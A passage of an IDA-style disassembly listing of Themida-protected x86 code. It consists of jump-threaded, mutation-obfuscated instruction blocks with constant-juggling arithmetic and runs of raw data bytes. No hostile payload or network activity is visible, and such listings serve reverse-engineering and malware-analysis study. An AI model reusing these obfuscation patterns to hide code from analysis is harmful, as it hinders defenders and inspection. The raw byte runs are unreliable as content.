		dd 2F3BD55h, 0ED810D4Fh, 1FEE08FFh, 42E95645h, 0FF00003Ch
		dd 34FF2434h, 24048B24h, 8104C483h, 4C4h, 5E545600h, 4430BB53h
		dd 0C14B6CFBh, 0F38108E3h, 0FB442F04h, 34FFDE01h, 0F1E95B24h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55723F:				; CODE XREF: Themida_:0055B3A3j
		xchg	ebp, [esp]
		jmp	loc_5579A7
; ---------------------------------------------------------------------------


loc_557247:				; CODE XREF: Themida_:00555963j
		sub	ecx, 281D124Eh
		add	ecx, 76172C47h
		push	dword ptr [ecx]
		jmp	loc_55D479
; ---------------------------------------------------------------------------
		dw 0D828h
		dd 0B7530C04h, 4130459h, 0E9F62C66h, 0FFFFDC58h, 8F04C483h
		dd 248B2404h, 3CD36624h, 8FE99C24h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55727F:				; CODE XREF: Themida_:0055BF5Ej
		sub	[esp+8], ebp
		pop	ebp
		pop	ecx
		pop	dword ptr [edi+24h]


loc_557288:				; CODE XREF: Themida_:00554274j
		sub	esp, 4
		jmp	loc_553BA1
; ---------------------------------------------------------------------------
		db 5Ch
		dd 24042966h, 0B570E99Ch, 2D58FFFFh, 54BC6748h,	4EC81h
		dd 34890000h, 0C3895324h, 0E95BDE89h, 108Dh
; ---------------------------------------------------------------------------


loc_5572B8:				; CODE XREF: Themida_:0055A00Ej
		and	eax, edi
		jmp	loc_55C1E6
; ---------------------------------------------------------------------------
		db 0B8h
		dd 65012832h, 2D002235h, 5713E93Bh, 0C4830000h,	4C48104h
		dd 0E9000000h, 3ABAh
; ---------------------------------------------------------------------------


loc_5572DC:				; CODE XREF: Themida_:0055BB2Ej
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55559E
; ---------------------------------------------------------------------------
aS7		db '[éÛ7',0
		db 0
; ---------------------------------------------------------------------------


loc_5572EB:				; CODE XREF: Themida_:00557BA4j
		xor	esi, 593F8713h
		xor	ebx, esi
		pop	esi
		mov	[edi+20h], ebx
		mov	ebx, [esp]
		jmp	loc_55B287
; ---------------------------------------------------------------------------
		db 0BBh
		dd 0FF416CAh, 815BDE29h, 0E7564C6h, 7C6811Ah, 128C45Ah
		dd 5922E9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55731A:				; CODE XREF: Themida_:0055358Cj
		sub	eax, 0FFFFFFFFh
		sub	eax, 247F0925h
		jmp	loc_55A6B8
; ---------------------------------------------------------------------------
aISso		db '‰,$é‘O',0
		db 0
; ---------------------------------------------------------------------------


loc_55732F:				; CODE XREF: Themida_:005575FFj
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		push	46B8h
		mov	[esp], esi
		mov	esi, 199C605Eh
		push	edx
		push	esi
		push	52EA753Eh
		pop	esi
		and	esi, 541371FBh
		push	ecx
		jmp	loc_55CAB4
; ---------------------------------------------------------------------------
		db 68h
		dd 1360h, 89241489h, 4C281E2h, 68000000h, 516Dh, 53242C89h
		dd 4804A5BBh, 81DBF752h, 108252C3h, 5BDD89ADh, 0FFD00CE9h
		dd 2414F7FFh, 251EE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55738E:				; CODE XREF: Themida_:0055964Bj
		pop	esi
		dec	edx
		not	edx
		inc	edx
		add	edx, 79866558h
		xor	ebx, edx
		pop	edx
		push	ebp
		mov	ebp, 77CF2F0Ch
		jmp	loc_5599E9
; ---------------------------------------------------------------------------
		db 83h
		dd 5FE904C4h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5573AF:				; CODE XREF: Themida_:00558DBDj
		push	dword ptr [esp]
		jmp	loc_552DCF
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC812414h, 4, 81242489h, 42404h, 148B0000h,	4879E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5573D2:				; CODE XREF: Themida_:0055A0B4j
		mov	ebp, [esp]
		add	esp, 4
		shr	eax, 12h
		jmp	loc_5571F3
; ---------------------------------------------------------------------------


loc_5573E3:				; CODE XREF: Themida_:00556F1Fj
		add	esp, 4
		push	ecx
		mov	ecx, 4EB42FC9h
		sub	ecx, 13047C8Eh
		sub	ecx, 3BAFB337h
		jmp	loc_559B73
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd offset dword_518C48+6A1h
		dd 0FEB65200h, 5108E6C0h, 0EE00FEB5h, 41E68059h, 0C0B5C680h
		dd 0C68008EEh, 3DB2E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557422:				; CODE XREF: Themida_:00556D86j
		add	ebx, edx
		jmp	loc_55AA93
; ---------------------------------------------------------------------------
		db 1, 0DFh, 81h
		dd 0AF192CEFh, 2434FF69h, 4C4815Bh, 0E9000000h,	0FFFFC505h
		dd 33243C31h, 0E95C243Ch, 3E91h, 0E9240C89h, 30F9h, 0CD81454Dh
		dd 145A5C9Ah, 2A1B6850h, 0E9584C57h, 1B3Ah, 0E95EF329h
		dd 1D6Ah, 1CE9E1D1h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557477:				; CODE XREF: Themida_:00553528j
		shl	edi, 2
		shl	edi, 5
		neg	edi
		sub	edi, 97E5397Ch
		jmp	loc_554156
; ---------------------------------------------------------------------------
		dw 0EBC1h
		dd 64F38102h, 0E950DE72h, 6D7h
; ---------------------------------------------------------------------------


loc_557498:				; CODE XREF: Themida_:00556256j
		not	dword ptr [esp]
		pop	ebp
		xor	ebp, 0B084EFC4h
		jmp	loc_557573
; ---------------------------------------------------------------------------
		db 87h
		dd 87D3F7DDh, 0B527E9DDh, 4ACFFFFh, 7D2C3Fh, 537D04D8h
		dd 0EBC0C3B3h, 0F6D3F608h, 2EC81D3h, 66000000h,	88240489h
		dd 0CFD7E9CCh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5574D6:				; CODE XREF: Themida_:0055AC0Ej
		mov	ebx, 2D087AFCh
		inc	ebx
		sub	ebx, 0F0F33E9Fh
		sub	ecx, ebx
		jmp	loc_559070
; ---------------------------------------------------------------------------


loc_5574E9:				; CODE XREF: Themida_:00556DE5j
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_556557
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 14h
		dd 0FFC0B60Fh, 0DE688734h, 0E900007Bh, 5712h, 0E389535Ch
		dd 4C381h, 6DE90000h, 50FFFFDEh, 26A52B8h, 9747973Eh, 0BB39E625h
		dd 349E253Fh, 0A3E91A90h, 81FFFFE3h, 8377FDEBh,	0D2EB8142h
		dd 817C6463h, 300B9F3h,	5BDF29F6h, 0E9243C87h, 0D3Eh, 0F702EAC1h
		dd 99CA81D2h, 812CE232h, 0BC20B5CAh, 0BD554A1Dh, 4AF8BEB5h
		dd 0F9E9EA29h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557573:				; CODE XREF: Themida_:005574A2j
		push	edx
		push	eax
		mov	eax, ebp
		mov	edx, eax
		pop	eax
		mov	ecx, edx
		pop	edx
		jmp	loc_555954
; ---------------------------------------------------------------------------
		dw 875Ch
		dd 0D35C241Ch, 0E99C2404h, 0FFFFB27Eh, 2B4090BAh, 5AD5892Dh
		dd 494C581h, 0EA810A3Dh, 214B0781h, 0C281EA29h,	214B0781h
		dd 5EEA815Dh, 8113B85Eh, 0F57E8AEAh, 0EEBF5734h, 0F7628477h
		dd 81DFF7D7h, 0EBD415C7h, 5FFA29A2h, 0FFB23DE9h, 2434FFFFh
		dd 5A2434FFh, 6804C483h, 348Dh,	69BDE9h, 24048F00h, 6624248Bh
		dd 66240C89h, 66C8B60Fh, 13E99C51h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5575FB:				; CODE XREF: Themida_:00559766j
		mov	esi, ebp
		mov	eax, esi
		jmp	loc_55732F
; ---------------------------------------------------------------------------
		dd 5002E1C1h, 47D9BF57h, 15E920C8h, 5100003Bh, 3D8C68h
		dd 24048900h, 0FFBA8CE9h, 2434FFFFh, 582434FFh,	4C481h
		dd 89510000h, 4C181E1h,	81000000h, 4E9h, 240C8700h, 240C895Ch
		dd 0C181E189h, 4, 4C181h, 2D680000h, 89000075h,	74FF240Ch
		dd 0C8B0424h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5583C2
; ---------------------------------------------------------------------------
		dw 2959h
		dd 0ABE92404h, 81FFFFC3h, 0E54D1CEFh, 2434FF59h, 0C0DE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55768E:				; CODE XREF: Themida_:00554283j
		add	edx, 4
		push	eax
		jmp	loc_55699A
; ---------------------------------------------------------------------------
		dw 335Eh
		dd 4312404h, 0BEEBE924h, 0AB2DFFFFh, 8149EB83h,	0B01CBBE9h
		dd 0E9C10178h, 3133h
; ---------------------------------------------------------------------------


loc_5576B8:				; CODE XREF: Themida_:0055E2B2j
		push	ebp
		jmp	loc_55686A
; ---------------------------------------------------------------------------


loc_5576BE:				; CODE XREF: Themida_:00556460j
		push	7D17h
		mov	[esp], ecx
		push	1
		jmp	loc_554805
; ---------------------------------------------------------------------------
		dd 0C380E8B1h, 0E1B45008h, 0F693F480h, 51F480DCh, 8004ECC0h
		dd 0E30089ECh, 80CB0058h, 0EB8084EBh, 52665908h, 0D328BFB2h
		dd 599AE9h, 8BD13100h, 3FE92414h, 0BBFFFFBEh, 2A3145AAh
		dd 5FFEE9h, 24348900h, 0FFD4DCE9h, 243489FFh, 2F647668h
		dd 0D258E934h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557726:				; CODE XREF: Themida_:0055AA81j
		sub	eax, 21BF1C94h
		sub	ecx, eax
		pop	eax
		push	ebp
		mov	ebp, 3FF759EEh
		jmp	loc_55DC2D
; ---------------------------------------------------------------------------
		db 80h,	0C4h, 1Ah
		dd 88E28852h, 20E95AD7h, 0D200001Ah, 0E99C2404h, 0FFFFB0BEh
		dd 8324348Bh, 0C68104C4h, 4, 6429B951h,	0D1F71B42h, 0E9E9h
		db 0
; ---------------------------------------------------------------------------


loc_557769:				; CODE XREF: Themida_:0055897Bj
		pop	edx
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55C17F
; ---------------------------------------------------------------------------
		dd 4807EA81h, 0F2817DDBh, 0DA67E727h, 7B0DBE56h, 4AE97AE2h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55779B:				; CODE XREF: Themida_:00552BFDj
		add	dword ptr [esp], 4
		mov	edx, [esp]
		jmp	loc_553950
; ---------------------------------------------------------------------------
		db 0FFh
		dd 56592434h, 8904EC83h, 4812424h, 424h, 9FE95E00h, 50000026h
		dd 503204B8h, 0C8E9520Eh
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5577CB:				; CODE XREF: Themida_:005533A6j
		pop	esp
		jmp	loc_55E43E
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 2
		dd 53000000h, 92240481h, 5A71AE37h, 3792EA81h, 295B71AEh
		dd 21A1E9D7h, 0E95A0000h, 0FFFFFADAh, 0EAB252h,	73E95AD0h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5577FF:				; CODE XREF: Themida_:00552951j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		push	1D9Fh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55D788
; ---------------------------------------------------------------------------
		dd 233CC281h, 0E2815B56h, 72791978h, 0DC37EA81h, 0C281F540h
		dd 66181742h, 446FEA81h, 0D301E2EFh, 0CAE9515Ah
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55784B:				; CODE XREF: Themida_:0055E48Cj
		neg	ebx
		jmp	loc_55CCDE
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 0E4BD9BD4h, 3D6AC681h, 0CE010661h, 3D6AEE81h, 0C8B0661h
		dd 4C48124h, 87000000h,	248B2434h, 0C8B6624h, 15EDE924h
		dd 97680000h, 0E900006Dh, 1CECh
; ---------------------------------------------------------------------------


loc_557888:				; CODE XREF: Themida_:00559C96j
		mov	ebx, 6E8B5F81h
		dec	ebx
		xor	ebx, 56E70317h
		mov	edx, ebx
		pop	ebx
		jmp	loc_5566E6
; ---------------------------------------------------------------------------
		dd 5B66FE28h, 2E6C05Bh,	0B0E9D6F6h, 59000060h, 5204C483h
		dd 9579CBAh, 10CA814Ch,	8146AC55h, 5D2568F2h, 5AD60102h
		dd 1D685156h, 59517E71h, 0FFCC6FE9h, 24048FFFh,	68C80F5Ch
		dd 22E2h, 447BE9h, 0FB65200h, 5000E680h, 0FFD5B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5578ED:				; CODE XREF: Themida_:0055A1BAj
		xor	ebp, [esp]
		mov	esp, [esp]


loc_5578F3:				; CODE XREF: Themida_:0055A35Aj
		push	1DD7h
		mov	[esp], esi
		push	ebx
		add	dword ptr [esp], 60031906h
		jmp	loc_55DD6D
; ---------------------------------------------------------------------------
		dd 26E91A2Ch, 8300005Ch, 7FE902C7h, 8B00001Fh, 0C4812434h
		dd 4, 48BC201h,	4C48124h, 87000000h, 248B2414h,	0AB0F6624h
		dd 0E99C2404h, 0FFFFAED2h, 0E904C483h, 236Eh, 0D93B951h
		dd 0CA2119FBh, 7CCA8159h, 57003C07h, 18112EBFh,	0A4F78112h
		dd 313AF141h, 0BF5AE9FAh, 487FFFFh, 24248B24h, 0D1242C81h
		dd 5110B670h, 60350BB9h, 246C8163h, 7E59ED04h, 2AEDE936h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557986:				; CODE XREF: Themida_:0055B35Bj
		push	dword ptr [esp]
		jmp	loc_554627
; ---------------------------------------------------------------------------
		dw 45BBh
		dd 81368866h, 0DD17D6C3h, 0E9C38107h, 1C19A81h,	36E95BDFh
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5579A7:				; CODE XREF: Themida_:00557242j
		pop	esp
		jmp	loc_55421F
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C4h
		dd 4, 0E95DEB01h, 0FFFFE93Fh, 4BAh, 0C797E900h,	8B5BFFFFh
		dd 0C483240Ch, 11F06804h, 0C890000h, 14686624h,	1C896644h
		dd 5B996824h, 14890000h, 0BD99E924h, 15CFFFFh, 3C875AD7h
		dd 24248B24h, 0C8BE0F66h, 8904EC83h, 56E9241Ch,	59000041h
		dd 0E9B3C280h, 0FFFFF19Fh, 582434FFh, 34FF5451h, 89535924h
		dd 4C381E3h, 68000000h,	0FAAh, 0E9240489h, 38D4h
; ---------------------------------------------------------------------------


loc_557A2C:				; CODE XREF: Themida_:0055481Aj
		push	edx
		push	esp
		pop	edx
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_556385
; ---------------------------------------------------------------------------


loc_557A3D:				; CODE XREF: Themida_:00556AA0j
		jmp	loc_55280E
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 29A35DF7h, 0EF81CF01h, 29A35DF7h, 56240C8Bh,	3436E9h
		db 0
; ---------------------------------------------------------------------------


loc_557A59:				; CODE XREF: Themida_:00552A8Cj
		xor	ebp, 0B4124C99h
		jmp	loc_55C9CF
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 1C8704C4h, 2663E924h, 0ED800000h,	646866A0h
		dd 1807E930h, 3C890000h, 2BF24h, 0FA010000h, 81243C8Bh
		dd 4C4h, 646EE900h, 52AC0000h, 1BDB6866h, 240C8966h, 88505EB5h
		dd 58C688E8h, 240C8B66h, 2C483h, 0B72C5AF0h, 0FFFE4FE9h
		dd 9EC281FFh, 0E9EBBE1Fh, 6A6Fh, 0E1B252ACh, 285AD028h
		dd 141AE9D8h, 0EE300000h, 0FFDD37E9h, 5DE829FFh, 4005D801h
		dd 0FF7A6529h, 835B2434h, 43304C4h, 24043124h, 0E9240433h
		dd 0FFFFBFB1h, 240C8B66h, 5920E9h, 1C470900h, 38EBE9h
		dd 4ED8100h, 87000000h,	0E95C242Ch, 43C4h, 56E9C600h, 5A000039h
		dd 3D6CE9h, 0F6814600h,	2D8621EFh, 0D91DEE81h, 0F12924B9h
		dd 0C1835A5Eh, 240C8702h, 6624248Bh, 8324048Bh,	3C8904ECh
		dd 51E78924h, 4B9h, 0FEECE900h,	0E953FFFFh, 109Bh, 24048B66h
		dd 54D968h, 241C8900h, 26E95B54h, 81FFFFEBh, 0FFFFFFC3h
		dd 52D3F7FFh, 32E958BAh, 0F1EB8158h, 1410056h, 0F1C381D3h
		dd 5A410056h, 15BD989h,	110DE9F9h, 0E9590000h, 5CA3h, 13F9E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557BA2:				; CODE XREF: Themida_:00554366j
		not	esi
		jmp	loc_5572EB
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
aUsN		db 'Ué$N',0
		align 2
		dw 0D029h
		dd 0F0FEE957h, 0C629FFFFh, 0E9F32958h, 0FFFFE779h, 2E0473B1h
		dd 2BE9C828h, 5CFFFFBEh, 8B66D030h, 56E92414h, 57FFFFD7h
		dd 1E9E789h, 50FFFFB1h,	0FFEB50E9h, 5FF901FFh, 0FFC628E9h
		dd 6AB068FFh, 0C890000h, 0E924B124h, 0FFFFFCE1h
; ---------------------------------------------------------------------------


loc_557C00:				; CODE XREF: Themida_:005528C8j
		mov	eax, esp
		push	esi
		mov	esi, 3CD65F0Ah
		and	esi, 4F4063D4h
		sub	esi, 8FFAC84Dh
		and	esi, 65AF44B4h
		push	ebx
		mov	ebx, 61AD53A3h
		xor	esi, ebx
		pop	ebx
		push	edx
		mov	edx, 65A51D9Ch
		sub	esi, edx
		pop	edx
		and	esi, 1136744Eh
		or	esi, 502C0CD6h
		sub	esi, 502E7CD2h
		add	eax, esi
		jmp	loc_552AA0
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 0C1h
		dd 0C58107EDh, 338C8824h, 0FFDF8DE9h, 0C8B66FFh, 50B06824h
		dd 3C890000h, 0B6C3E924h, 0CFFEFFFFh, 8083B652h, 0EEC060CEh
		dd 0B340E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557C76:				; CODE XREF: Themida_:005571F5j
		xchg	eax, esi
		jmp	loc_55B8BA
; ---------------------------------------------------------------------------
		dd 0BD55DBF7h, 70246AF3h, 3A5BE9h, 4BA5200h, 1000000h
		dd 5A042454h, 8124048Fh, 42404h, 148B0000h, 4C48324h, 0FFDD28E9h
		dd 8060B4FFh, 0EA8017EAh, 0C9E1E9D1h, 489FFFFh,	4815624h
		dd 0BC674824h, 0F5D8E954h, 8953FFFFh, 4C381E3h,	81000000h
		dd 4C3h, 241C8700h, 0AB30E95Ch,	74BEFFFFh, 81243C72h, 616EAEF6h
		dd 0E1EE8105h, 810CC732h, 491BAAC6h, 0F341E94Ch, 0FE9FFFFh
		dd 8FFFFFABh, 9E92404h,	81FFFFF8h, 0EA1B1AE7h, 459BE978h
		dd 555D0000h, 0A1733BBDh, 81454500h, 7A1545C5h,	0E9DDF706h
		dd 0FFFFEE6Ah, 74D2F005h, 5756E9A3h, 0D7E90000h, 81FFFFAAh
		dd 0E6E071F2h, 5AD3016Dh, 0E95BDA89h, 0FFFFCE21h
; ---------------------------------------------------------------------------


loc_557D48:				; CODE XREF: Themida_:00554EB7j
		neg	ecx
		inc	ecx
		sub	ecx, 0AA5581EBh
		mov	edx, ecx
		pop	ecx
		add	esi, edx
		pop	edx
		push	11A3h
		mov	[esp], eax
		mov	eax, 530363BFh
		not	eax
		add	eax, 8AEFA285h
		sub	ecx, eax
		pop	eax
		add	ecx, esi
		add	ecx, 37EC3EC5h
		pop	esi
		push	ebp
		jmp	loc_55A227
; ---------------------------------------------------------------------------


loc_557D7D:				; CODE XREF: Themida_:0055C186j
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_55D389
; ---------------------------------------------------------------------------


loc_557D8A:				; CODE XREF: Themida_:00553234j
		mov	[esp], ebp
		push	1
		mov	ebp, [esp]
		jmp	loc_559844
; ---------------------------------------------------------------------------


loc_557D9A:				; CODE XREF: Themida_:00554D11j
		add	esp, 4
		shl	ebp, 3
		inc	ebp
		xor	ebp, 448A0061h
		mov	esi, ebp
		pop	ebp
		inc	esi
		sub	esi, 71D30718h
		jmp	loc_554364
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 405h, 40500h, 4870000h, 0EC815C24h, 4, 449CE9h, 48EF6800h
		dd 2C890000h, 2693BD24h, 0F58153C8h, 6FF01FB7h,	55DE831h
		dd 68D719ACh, 4EC81h, 8EE90000h, 5EFFFFCBh, 295AD629h
		dd 8B042474h, 0C4832434h, 2434FF04h, 5224048Bh,	0C281E289h
		dd 4, 4C281h, 53E90000h, 83FFFFB4h, 0FFE904C4h,	0C1FFFFC3h
		dd 0EBC107EBh, 84F38103h, 815A1110h, 981AC8EBh,	5BDA8906h
		dd 20DCE9h, 0F6E28600h,	0E54DE9D4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557E4E:				; CODE XREF: Themida_:00558488j
		mov	eax, 1E805539h
		jmp	loc_55599C
; ---------------------------------------------------------------------------


loc_557E58:				; CODE XREF: Themida_:00558B8Dj
		and	edx, 506511Ah
		xor	edx, 28716C9h
		or	edx, 40AB0A51h
		add	edx, 1
		xor	edx, 46AF0FD8h
		jmp	loc_558117
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFCC61h
; ---------------------------------------------------------------------------


loc_557E80:				; CODE XREF: Themida_:0055DA94j
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_559F16
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240481h, 8B000000h,	89512414h, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 4C2815Ch, 51000000h, 0FFC074E9h, 240AB9FFh
		dd 0CB29707Bh, 81240C8Bh, 4C4h,	0A8C38100h, 136241Bh, 0A8EB81C3h
		dd 0E936241Bh, 0FFFFAE9Ch
; ---------------------------------------------------------------------------


loc_557EEC:				; CODE XREF: Themida_:00552DBAj
		mov	esp, [esp]
		jmp	loc_55A46A
; ---------------------------------------------------------------------------
		dd 5A59EB88h, 0DFB45059h, 48BE330h, 0E2895224h,	4C281h
		dd 0C2810000h, 4, 5C241487h, 0FFB594E9h, 240431FFh, 8B240433h
		dd 21662424h, 0E99C2404h, 0FFFFA8E2h, 28956866h, 24148966h
		dd 0E99C5066h, 0FFFFA8D2h, 13CB68h, 242C8900h, 625F0CBDh
		dd 81D5F750h, 636ADDF5h, 0FFBF5769h, 811BE32Fh,	8042E1F7h
		dd 15B85070h, 500ED33h,	11FB18E6h, 424EE9h, 0E3815D00h
		dd 75917000h, 2A7FE9h, 24248B00h, 0E9F1F766h, 0FFFFFFA8h
; ---------------------------------------------------------------------------


loc_557F84:				; CODE XREF: Themida_:0055E2E2j
		add	eax, ebx
		pop	ebx
		push	edx
		jmp	loc_55ADE9
; ---------------------------------------------------------------------------
aH_		db ']h¹_',0
		dw 8900h
		dd 6856243Ch, 742152A1h, 0E7EE815Eh, 89338209h,	0D7F75EF7h
		dd 258E9h, 4C48100h, 0E9000000h, 0FFFFFE01h, 1085DBBh
		dd 6607E922h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557FC2:				; CODE XREF: Themida_:0055AF45j
		shl	esi, 1
		jmp	loc_55CB06
; ---------------------------------------------------------------------------
		db 0F7h, 1Ch, 24h
		dd 0A83CE99Ch, 77FFFFFFh, 2434FF1Ch, 4EC8358h, 291EE9h
		dd 9C506600h, 8EAE9h, 73D86800h, 53E90000h, 0F700004Bh
		dd 81DDF7D5h, 0C479A1CDh, 5FB9E915h, 2C890000h,	0DA8AE924h
		dd 0E95BFFFFh, 5E70h, 0D04C483h, 200D220Bh, 24AEE9h, 40500h
		dd 2050000h, 33000000h,	3E92404h, 66000008h, 0E96385BBh
		dd 0FFFFE9BFh, 0DC01500Dh, 5E8C162h, 4804E0C1h,	0D8F7D0F7h
		dd 38B1BB53h, 814B104Eh, 3F3811F3h, 5BD8316Ah, 35BDEE81h
		dd 0C6012DACh, 35BDC681h, 1FE92DACh, 1FFFFDFh, 11FEE9F2h
		dd 42B10000h, 0C0E0E180h, 0C18003E1h, 0FFC180EEh, 0BDB45066h
		dd 5866E128h, 8953D504h, 0A7A6E9E3h, 0F752FFFFh, 0E95A2414h
		dd 0FFFFF723h, 55FF801h, 1C7020ADh, 81243C8Bh, 4C4h, 24048700h
		dd 2434FF5Ch, 38EBE9h, 0B9515B00h, 3EE25BC7h, 8159CB29h
		dd 4ECh, 242C8900h, 802637BDh, 83BD5553h, 2956BC16h, 0EB015DEBh
		dd 1683C381h, 685D56BCh, 1121h,	0BF243C89h, 7A996E57h
		dd 815FFB01h, 245696EBh, 2296E909h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5580FE:				; CODE XREF: Themida_:00559F5Fj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		imul	ecx
		push	edx
		jmp	loc_5541F9
; ---------------------------------------------------------------------------
		db 89h
		dd 79E92404h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558117:				; CODE XREF: Themida_:00557E73j
		mov	ebx, edx
		pop	edx
		add	eax, ebx
		jmp	loc_55CA9B
; ---------------------------------------------------------------------------


loc_558121:				; CODE XREF: Themida_:0055A9EBj
		mov	ecx, 7B521BEEh
		mov	edi, 84ADE411h
		xor	edi, ecx
		pop	ecx
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	[edi+24h], ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_553CD7
; ---------------------------------------------------------------------------
		db 81h
		dd 2C5h, 509BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558156:				; CODE XREF: Themida_:00553FADj
		sub	edi, 4F24051h
		add	edi, 1
		xor	edi, 4E9E40CEh
		jmp	loc_55A58F
; ---------------------------------------------------------------------------


loc_55816D:				; CODE XREF: Themida_:00558845j
		mov	ecx, 4B513736h
		inc	ecx
		shr	ecx, 8
		xor	ecx, 343C3F6Ah
		mov	ebx, ecx
		pop	ecx
		neg	ebx
		shl	ebx, 7
		jmp	loc_553712
; ---------------------------------------------------------------------------


loc_558189:				; CODE XREF: Themida_:0055B4FFj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_55376D
; ---------------------------------------------------------------------------
		db 5Ah,	8Fh, 4
		dd 0C37FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55819E:				; CODE XREF: Themida_:00559033j
		xor	ebp, 7E8FF845h
		and	eax, ebp
		jmp	loc_555AD6
; ---------------------------------------------------------------------------
aBiu_0zbCvBiwns	db ')Ãëã_0zÖV$',9,'ëWn™zë7&€SÃÇ[â>',0
		db 0E9h, 3Ch, 0A6h
		dd 6C04FFFFh, 0FE1FB151h, 80C9FEC1h, 0D1F63CF1h, 0E9EAE980h
		dd 0FFFFB309h, 14E943B6h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5581EF:				; CODE XREF: Themida_:0055D792j
		add	esp, 4
		xor	eax, 438824C3h
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55D408
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 81h
		dd 5412C5C7h, 4E7C176h,	0B7F4F781h, 0FD016F35h,	8B2434FFh
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55BF0D
; ---------------------------------------------------------------------------
		dd 0C381F387h, 0AA5C225Eh, 6A67BE2Dh, 5D8012Eh,	2E6A67BEh
		dd 0FFFE74E9h, 0CD8955FFh, 8B5DEB89h, 0C483240Ch, 0E9FB2904h
		dd 204Dh, 37BF684Bh, 2C890000h,	1350E924h, 535D0000h, 8057A2BBh
		dd 0F3814371h, 7B4709EFh, 0FFA9CFE9h, 0A590E9FFh, 0A7BBFFFFh
		dd 4B4FB940h, 40A2EB81h, 0DF014FB9h, 0B415E95Bh, 895CFFFFh
		dd 96E9243Ch, 81FFFFE2h, 4C4h, 41C66800h, 1C890000h, 2BB24h
		dd 0EF810000h, 72427ADDh, 5886E9h, 4B800h, 72E90000h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5582C3:				; CODE XREF: Themida_:00556484j
		mov	ecx, [esp]
		push	ecx
		jmp	loc_558D7B
; ---------------------------------------------------------------------------


loc_5582CC:				; CODE XREF: Themida_:00555E8Ej
		mov	eax, [esp]
		add	esp, 4
		xor	edx, edx
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4C2F3A1Eh
		jmp	loc_5532C3
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 3C8B5424h, 1C13E924h, 2B80000h, 1000000h, 148758C2h
		dd 8B665C24h, 89532404h, 4C381E3h, 83000000h, 75E904EBh
		dd 8FFFFFC8h, 4812404h,	424h, 2434FF00h, 4C4815Dh, 81000000h
		dd 4C5h, 0FBE900h, 5B540000h, 4C381h, 0C3810000h, 4, 5C241C87h
